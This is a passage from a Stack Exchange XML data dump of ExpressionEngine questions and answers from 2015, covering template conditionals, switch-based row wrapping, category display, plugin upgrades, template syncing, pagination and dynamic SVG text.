&lt;em&gt;Plausable&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;by hiding the &lt;code&gt;{freeform:count}&lt;/code&gt; within a PHP tag (remember to turn it on!) it will be excluded from the output, instead of included but hidden. JChrono's answer in a different flavour really.&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-06-15T15:21:58.887" LastActivityDate="2015-06-15T15:21:58.887" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31938" PostTypeId="2" ParentId="31935" CreationDate="2015-06-15T14:51:55.007" Score="0" Body="&lt;p&gt;This looks like a custom template parsing function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some add-ons do not use the default Template Parsing Class and can run into this kind of error. However, I can't say for sure, since I can't check the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first suggestion is to update EECMS. The changes implemented on the version 2.9 can maybe help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other one is to delay the parsing of the conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{freeform:count}' == 1}&amp;lt;h1&amp;gt;Submissions&amp;lt;/h1&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By this way, the freeform parser will replace the &lt;code&gt;{freeform:count}&lt;/code&gt; variable and the conditional will be parsed further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But try to update EECMS first.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2015-06-15T14:51:55.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31939" PostTypeId="2" ParentId="31934" CreationDate="2015-06-15T15:09:29.070" Score="0" Body="&lt;p&gt;Short answer... No&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps too short, let me expand... Not easily&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, jokes aside, the JS which you wish to taget is dee pin the file &lt;code&gt;/themes/javascript/compressed/jquery/plugins/ee_navigation.js&lt;/code&gt;. Note it is compressed, not sure you can even get the uncompressed version anywhere. You could try wading through it (good luck to you!) or perhaps try re-writing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might get some milage from the &lt;a href=&quot;https://devot-ee.com/add-ons/cp-css-js&quot; rel=&quot;nofollow&quot;&gt;P&amp;amp;T CP CSS &amp;amp; JS&lt;/a&gt; plugin, you could use this to 'reset' the menu and apply your own suckerfish style navigation...&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-06-15T15:09:29.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31940" PostTypeId="2" ParentId="31936" CreationDate="2015-06-15T15:19:13.083" Score="1" Body="&lt;p&gt;Here's how it works. Out of the box templates are stored in the database. When you allow the template &quot;to be saved as a file&quot; it also copies the template to a location of your choice as a .html file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I use this all the time as then you can get your templates under version control, refactor them to a controlled directory ect. Not to mention the easiness of writing templates with your chosen IDE, rather than via the EE (In your face) interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you are saving templates as files, and you change a template file externally from EE, EE will load the template from the database or file depending on which is most recent (see &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/templates_as_files.html#creating-flat-files-via-the-template-editor&quot; rel=&quot;nofollow&quot;&gt;Saving templates as text files&lt;/a&gt; for full details), until you &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/design/templates/synchronize_templates.html&quot; rel=&quot;nofollow&quot;&gt;syncronise your templates&lt;/a&gt; (&lt;code&gt;Design &amp;gt; Templates &amp;gt; Syncronise Templates&lt;/code&gt;). This screen exposes and compares the template last save with the file last save and allows you to update DB templates with the latest file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way, if you turn 'Save Template Revisions' (&lt;code&gt;Design &amp;gt; Templates &amp;gt; Global Preferences&lt;/code&gt;) you can use that tool to go back through saved DB templates, update via the file, sync (causes a new entry in the DB), continue to roll back or proceed as required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in summary by trying to drive 2 EE sites from one database the answer is &lt;strong&gt;yes, pushing a template to the dev box will cause the Database to syncronise eventually, making the template available on the live server&lt;/strong&gt;. You're best bet is to seperate the databases. It seems likee folly to try to drive both the dev and live from the same DB, as anything you do on dev will effect live, and dev in turn will suffer from live loading as well. If you must why not set up a cron to regularly duplicate the live database to a development database, if you're really worried about indexes???&lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="1100" LastEditDate="2015-06-15T15:34:06.177" LastActivityDate="2015-06-15T15:34:06.177" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31941" PostTypeId="2" ParentId="31913" CreationDate="2015-06-15T15:41:33.503" Score="1" Body="&lt;p&gt;I beleive this is because wit hthe update of WYGWAM comes an update to CKEditor (the editor under the hood). YOu've upgraded from CKEditor 3 to 4 in the same upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means in turn that your v3 plugin (YouVersion) is not correctly formatted for CKEditor 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That or (from my memory which isn't super strong) I believe the way you add plugins to WYGWAM changed with the major version upgrade. Best to follow the documentation here : &lt;a href=&quot;http://docs.pixelandtonic.com/wygwam/developers/ckeditor_plugins.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.pixelandtonic.com/wygwam/developers/ckeditor_plugins.html&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may be of help, but might be out of date : &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/22280/adding-ckeditor-plugins-to-wygwam&quot;&gt;Adding CKEditor Plugins to Wygwam&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="1100" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2015-06-15T15:41:33.503" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31942" PostTypeId="2" ParentId="31930" CreationDate="2015-06-15T15:51:32.317" Score="1" Body="&lt;p&gt;As per &lt;a href=&quot;https://solspace.com/docs/rating/form/#form:attribute&quot; rel=&quot;nofollow&quot;&gt;the docs&lt;/a&gt; (and as Jim says) Try using the `form:attribute parameter. Something like this : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;form:data-abide=&quot;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Might work, might strip the empty tag, however even if not this should get it on the form, it's just if Abide will recognise the data attribute with the 'false' value set.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;form:data-abide=&quot;data-abide&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Otherwise, without rereating the form tags yourself (and losing all the tags inside) you could perhaps target the form (or all forms with a js snippet and reflow the abide stuff, summin like : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('form').each(function(){&#xA;    $(this).attr('data-abide','');&#xA;    $(document).foundation('abide', 'reflow');&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Abide Docs : &lt;a href=&quot;http://foundation.zurb.com/docs/components/abide.html#adding-new-abide-content-after-page-load&quot; rel=&quot;nofollow&quot;&gt;http://foundation.zurb.com/docs/components/abide.html#adding-new-abide-content-after-page-load&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-06-15T15:51:32.317" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31944" PostTypeId="1" AcceptedAnswerId="31973" CreationDate="2015-06-15T16:40:36.217" Score="0" ViewCount="32" Body="&lt;p&gt;Does anyone happen to know of a way to allow member groups other than Super Admins to send key invites via User from Solspace?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Their docs state that it's SA only, but I had four separate user groups that need to be able to access this function via the front end while not having CP access, thus they can't be Super Admins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone else run into this and/or discover a workaround?&lt;/p&gt;&#xA;" OwnerUserId="6307" LastActivityDate="2015-06-16T19:35:32.480" Title="Solspace User - Allow non-SA to send Key Invite?" Tags="|members|solspace-user|groups|super-admin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31945" PostTypeId="1" CreationDate="2015-06-15T16:48:25.210" Score="0" ViewCount="130" Body="&lt;p&gt;I want to wrap a div class = row around every three channels entries. How can I do that? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;boite_a_outils&quot; disable=&quot;member_data|trackbacks|comments&quot; dynamic=&quot;off&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; {triggers:entries}}&#xA;            {if no_results}  &amp;lt;p&amp;gt;Aucun lien relié à cette catégorie.&amp;lt;/p&amp;gt;  {/if}&#xA;            {if count == 1 OR count == 4}&amp;lt;div class=&quot;row&quot;&amp;gt;{/if}&#xA;            &amp;lt;div class=&quot;col-xs-12 col-sm-4 text-center wrap-boite-a-outil&quot;&amp;gt;&#xA;                &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;&#xA;                &amp;lt;a href=&quot;{lien}&quot; title=&quot;{title}&quot; class=&quot;button&quot;&amp;gt;Lien&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            {if count == 3 OR count == 6}&amp;lt;/div&amp;gt;{/if}&#xA;        {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is what I have so far, but I don't want this option, I want it to be dynamic. Right now, as you can see in my code, I check count if it's equal to 1 or 4...how can I make this dynamic?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx!&lt;/p&gt;&#xA;" OwnerUserId="4975" LastEditorUserId="4975" LastEditDate="2015-06-15T16:55:55.440" LastActivityDate="2015-06-15T17:39:43.120" Title="How to wrap 3 channel entries with a specific div" Tags="|channel|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31946" PostTypeId="2" ParentId="31945" CreationDate="2015-06-15T17:33:38.177" Score="0" Body="&lt;p&gt;You need to use the &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{switch}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;tag in your channel entries loop. You use pipes to separate what you want outputted. Here is an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;boite_a_outils&quot; disable=&quot;member_data|trackbacks|comments&quot; dynamic=&quot;off&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; {triggers:entries}}&#xA;&#xA;    {switch=&quot;&amp;lt;div class='row'&amp;gt;||&quot;}&#xA;&#xA;        Your entry content stuff here, {title}, {link}, etc...&#xA;&#xA;    {if count != total_results}{switch=&quot;||&amp;lt;/div&amp;gt;&quot;}{/if}&#xA;    {if count == total_results}&amp;lt;/div&amp;gt;{/if}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See those pipes in the switch tag? Since they have empty content between them, they output nothing on those loop counts. So for this tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{switch=&quot;&amp;lt;div class='row'&amp;gt;||&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it outputs the first time &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class='row'&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then blank the second and third, then repeats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if count != total_results}{switch=&quot;||&amp;lt;/div&amp;gt;&quot;}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Outputs nothing the first two loops, then &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the third time, then repeats. (The if conditional makes sure we don't double output &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if our last row &lt;strong&gt;has&lt;/strong&gt; three entries).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And lastly,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if count == total_results}&amp;lt;/div&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This makes sure that if we do end early (only two entries on last row), we still close the tag properly.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-06-15T17:33:38.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31947" PostTypeId="1" AcceptedAnswerId="31982" CreationDate="2015-06-15T17:38:54.627" Score="0" ViewCount="105" Body="&lt;p&gt;I'm trying to display a custom field within a categories loop (Channel Form). The &lt;code&gt;{category_name}&lt;/code&gt; outputs just fine but ExpressionEngine refuses to render the custom field &lt;code&gt;{category_custom_field}&lt;/code&gt;. (The custom field does work with &lt;code&gt;exp:channel:categories&lt;/code&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories show_group=&quot;5&quot; parse=&quot;inward&quot;}&#xA;  &amp;lt;option value=&quot;{category_id}&quot; {selected}&amp;gt;&#xA;    {category_custom_field}&#xA;  &amp;lt;/option&amp;gt;&#xA;{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1736" LastEditorUserId="1736" LastEditDate="2015-06-17T07:43:57.787" LastActivityDate="2015-06-17T09:38:52.773" Title="Categories loop with custom field" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31948" PostTypeId="2" ParentId="31945" CreationDate="2015-06-15T17:39:43.120" Score="1" Body="&lt;p&gt;You can use the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/conditionals.html#modulus-operator&quot; rel=&quot;nofollow&quot;&gt;modulus operator&lt;/a&gt;, introduced on version 2.9, which returns the remainder of a division.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {if count = 1}&#xA;    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;  {/if}&#xA;      &amp;lt;div class=&quot;col-xs-12 col-sm-4 text-center wrap-boite-a-outil&quot;&amp;gt;&#xA;          &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;          &amp;lt;a href=&quot;{lien}&quot; title=&quot;{title}&quot; class=&quot;button&quot;&amp;gt;Lien&amp;lt;/a&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;  {if count % 3 == 0 AND count != total_results}&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;  {/if}&#xA;  {if count = total_results}&#xA;    &amp;lt;/div&amp;gt;&#xA;  {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code will close every third entry with a &lt;code&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;row&quot;&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, if you have to use an older version, try the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#switch&quot; rel=&quot;nofollow&quot;&gt;switch&lt;/a&gt; variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {if count = 1}&#xA;    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;  {/if}&#xA;      &amp;lt;div class=&quot;col-xs-12 col-sm-4 text-center wrap-boite-a-outil&quot;&amp;gt;&#xA;          &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;          &amp;lt;a href=&quot;{lien}&quot; title=&quot;{title}&quot; class=&quot;button&quot;&amp;gt;Lien&amp;lt;/a&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;  {if count != total_results}&#xA;    {switch=&quot;||&amp;lt;/div&amp;gt;&amp;lt;div class='row'&amp;gt;&quot;}&#xA;  {/if}&#xA;  {if count = total_results}&#xA;    &amp;lt;/div&amp;gt;&#xA;  {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2015-06-15T17:39:43.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31949" PostTypeId="2" ParentId="31925" CreationDate="2015-06-15T19:02:21.733" Score="2" Body="&lt;p&gt;The answer below is correct for every version but 2.5.0. In 2.5.1 the checkbox is on the left and you can delete entries. The checkboxes were accidentally removed in version 2.5.0.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-06-15T19:02:21.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31950" PostTypeId="2" ParentId="23921" CreationDate="2015-06-15T20:14:16.687" Score="1" Body="&lt;p&gt;Let's try with a &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/pagination.html#pagination-links&quot; rel=&quot;nofollow&quot;&gt;sample pagination code&lt;/a&gt; from the user guide.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{paginate}&#xA;  {pagination_links}&#xA;    &amp;lt;ul&amp;gt;&#xA;      {first_page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-first&quot;&amp;gt;First Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      {/first_page}&#xA;&#xA;      {previous_page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-previous&quot;&amp;gt;Previous Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {layout:set name=&quot;previous_page&quot;}{pagination_url}{/layout:set}&#xA;      {/previous_page}&#xA;&#xA;      {page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-{pagination_page_number} {if current_page}active{/if}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      {/page}&#xA;&#xA;      {next_page}&#xA;        {layout:set name=&quot;next_page&quot;}{pagination_url}{/layout:set}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-next&quot;&amp;gt;Next Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      {/next_page}&#xA;&#xA;      {last_page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-last&quot;&amp;gt;Last Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      {/last_page}&#xA;    &amp;lt;/ul&amp;gt;&#xA;  {/pagination_links}&#xA;{/paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the pagination tags, set the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/layouts.html#layout-variables&quot; rel=&quot;nofollow&quot;&gt;layout variables&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Yeah, I know! &lt;code&gt;layout:set&lt;/code&gt; should have a &lt;code&gt;output='yes'&lt;/code&gt; parameter!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, on your layout template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if layout:next_page}&amp;lt;link rel=&quot;next&quot; href=&quot;{layout:next_page}&quot; /&amp;gt;{/if}&#xA;{if layout:previous_page}&amp;lt;link rel=&quot;prev&quot; href=&quot;{layout:previous_page}&quot; /&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This could work with an &lt;code&gt;embed&lt;/code&gt; too.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2015-06-15T20:14:16.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31951" PostTypeId="1" CreationDate="2015-06-15T21:46:43.817" Score="0" ViewCount="1723" Body="&lt;p&gt;I’m looking for an easy way to add a bit of dynamic text to a svg graphic. Basically, I need to change a few characters (&amp;lt;50) next to a logo, and have it display in the correct font. Anyone done this with EE?&lt;/p&gt;&#xA;" OwnerUserId="2430" LastActivityDate="2015-06-16T11:30:01.533" Title="Adding dynamic text to SVG" Tags="|general-knowledge|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31952" PostTypeId="1" CreationDate="2015-06-12T11:18:22.873" Score="0" ViewCount="177" Body="&lt;p&gt;OK, I have a very simple task ahead, which, somehow got complicated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm creating a simple blog in EE, with categories. Filtering posts by categories works just fine, however, I'm trying to display additional category information (&quot;category_description&quot; field), when I open specific category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like: www.example.com/apples/ or www.example.com/oranges/&#xA;(i don't want to use reserved word like category, because it looks ugly :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I want is, to pull my category info from url (eg. apples) from segment_2, - i got that working, and display the information from apples on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:category_heading category_id=&quot;1&quot;}&#xA;&#xA;  &amp;lt;h2&amp;gt;{category_name}&amp;lt;/h2&amp;gt;&#xA;  &amp;lt;p&amp;gt;{category_description}&amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:channel:category_heading}`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Displays NOTHING&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories category=&quot;20&quot;}&#xA;&#xA;    &amp;lt;h2&amp;gt;{category_name}&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p&amp;gt;{category_description}&amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Displays ALL categories with &quot;list&quot; tags (I just want ONE without list)&lt;/p&gt;&#xA;" OwnerUserId="6395" OwnerDisplayName="uollaa" LastActivityDate="2020-12-11T13:03:34.400" Title="Expressionengine: How to display single category information" Tags="|categories|channel|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31953" PostTypeId="2" ParentId="24948" CreationDate="2015-06-15T22:36:00.837" Score="0" Body="&lt;p&gt;Safe Harbour does work with 2.8 and 2.9. It compacts the files too such as .zip&lt;/p&gt;&#xA;" OwnerUserId="547" LastActivityDate="2015-06-15T22:36:00.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31954" PostTypeId="2" ParentId="31952" CreationDate="2015-06-15T23:30:43.397" Score="1" Body="&lt;p&gt;&lt;code&gt;exp:channel:category_heading&lt;/code&gt; always use the URL to fetch data. There isn't a &lt;code&gt;category_id&lt;/code&gt; parameter, despite it could be useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you're not using the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/admin/channels/global_channel_preferences.html#category-url-indicator&quot; rel=&quot;nofollow&quot;&gt;category word indicator&lt;/a&gt; and the parameter &lt;code&gt;channel&lt;/code&gt;, your other option is the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/query/&quot; rel=&quot;nofollow&quot;&gt;Query Module&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT cat_name AS category_name, cat_description AS category_description FROM `exp_categories` WHERE cat_id = 1&quot;}&#xA;  &amp;lt;h2&amp;gt;{category_name}&amp;lt;/h2&amp;gt;&#xA;  &amp;lt;p&amp;gt;{category_description}&amp;lt;/p&amp;gt;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/query/#template-tags-inside-queries&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;not&lt;/strong&gt; use segments on the query&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2015-06-16T13:13:44.400" LastActivityDate="2015-06-16T13:13:44.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31955" PostTypeId="1" CreationDate="2015-06-16T03:25:04.680" Score="0" ViewCount="258" Body="&lt;p&gt;I have installed the latest version of Channel Videos 3.2.0A. When I am in the channel entry and try to search for a YouTube video, or manually enter the YouTube URL, I just get a spinning circle. It never completes the search. Vimeo works fine. I don't know if this is related to the latest api changes with YouTube. Are we supposed to be entering an api key? I didn't see anything about it in the documentation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;**Additional information: This is an MSM install, and Channel Videos is searching YouTube properly on the other 2 MSM sites. The only thing I can think of that is different about this site is that there is an SSL certificate  of the site where I'm having the issue.&lt;/p&gt;&#xA;" OwnerUserId="1512" LastEditorUserId="1512" LastEditDate="2015-06-16T13:08:45.397" LastActivityDate="2018-08-15T17:02:06.900" Title="Unable to search for YouTube videos in DevDemon's Channel Videos" Tags="|devdemon|channel-videos|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31957" PostTypeId="1" AcceptedAnswerId="31962" CreationDate="2015-06-16T05:27:08.790" Score="0" ViewCount="34" Body="&lt;p&gt;Has anyone had this issue and how did they resolve it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When creating a Parcel and clicking &quot;Save Parcel&quot; it redirects to &lt;a href=&quot;http://example.com/admin/?/cp/addons_modules/show_module_cp&amp;amp;module=postmaster&amp;amp;method=index&amp;amp;S=39ety0362145b690daab1612312a8509d&quot; rel=&quot;nofollow&quot;&gt;http://example.com/admin/?/cp/addons_modules/show_module_cp&amp;amp;module=postmaster&amp;amp;method=index&amp;amp;S=39ety0362145b690daab1612312a8509d&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This returns a blank page, my site is based from /system not /admin. I see the Parcel is created when I go back into the module but it's funky.  I would ask the dev and have but it seems he may have abandoned his add-ons.  Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="2795" LastActivityDate="2015-06-16T12:35:57.190" Title="Postmaster Redirect" Tags="|postmaster|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31959" PostTypeId="2" ParentId="31951" CreationDate="2015-06-16T09:10:25.660" Score="1" Body="&lt;p&gt;Just a wild, out there, not an answer but an idea,...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you not just load the SVG graphic as a background (something like &lt;a href=&quot;http://www.html5rocks.com/en/tutorials/svg/mobile_fundamentals/&quot; rel=&quot;nofollow&quot;&gt;http://www.html5rocks.com/en/tutorials/svg/mobile_fundamentals/&lt;/a&gt;), then overlay the &lt;a href=&quot;http://www.w3schools.com/svg/svg_text.asp&quot; rel=&quot;nofollow&quot;&gt;SVG text&lt;/a&gt; on top?&lt;/p&gt;&#xA;" OwnerUserId="1100" LastActivityDate="2015-06-16T09:10:25.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31960" PostTypeId="2" ParentId="31955" CreationDate="2015-06-16T09:26:27.577" Score="0" Body="&lt;p&gt;I've just tried your version on a fresh install (EE 2.10.1) and it's working as expected: Fields populate and I can see previews and all in the backend (I've not built a page yet). The search and capture of data from YT doesn't seem dependant on an API key (I've not used one), so I think it's environmental. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What EE are you on? &lt;/li&gt;&#xA;&lt;li&gt;Which URL are you embedding? The shared one&#xA;(exposed when you click the share button below the video, right?)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="175" LastActivityDate="2015-06-16T09:26:27.577" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31961" PostTypeId="2" ParentId="31951" CreationDate="2015-06-16T11:21:05.163" Score="1" Body="&lt;p&gt;Your options are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Best choice is to have the SVG raw in the EE template, then you can inject the dynamic text exactly where you want it. Negatives are that it increases the initial DOM filesize. See below for example.&lt;/li&gt;&#xA;&lt;li&gt;Edit the SVG in editing software and add the text in there - not viable as not dynamic, unless there's a limited amount of variations.&lt;/li&gt;&#xA;&lt;li&gt;As Blatant suggested, overlay another DOM object over the top. Although could be tricky with positioning in various browsers and responsive. And if using an SVG object, then you'd need it dynamic, so loaded in via the template, not external&lt;/li&gt;&#xA;&lt;li&gt;Save JS variables in the EE template, then on pageload you can access the SVG object (raw JavaScript only - not JQuery) to inject the relevant DOM items into the SVG. Negatives with this approach is the SEO value could be diluted as the text is injected after pageload.&lt;/li&gt;&#xA;&lt;li&gt;Way more complex and not worth the effort, but 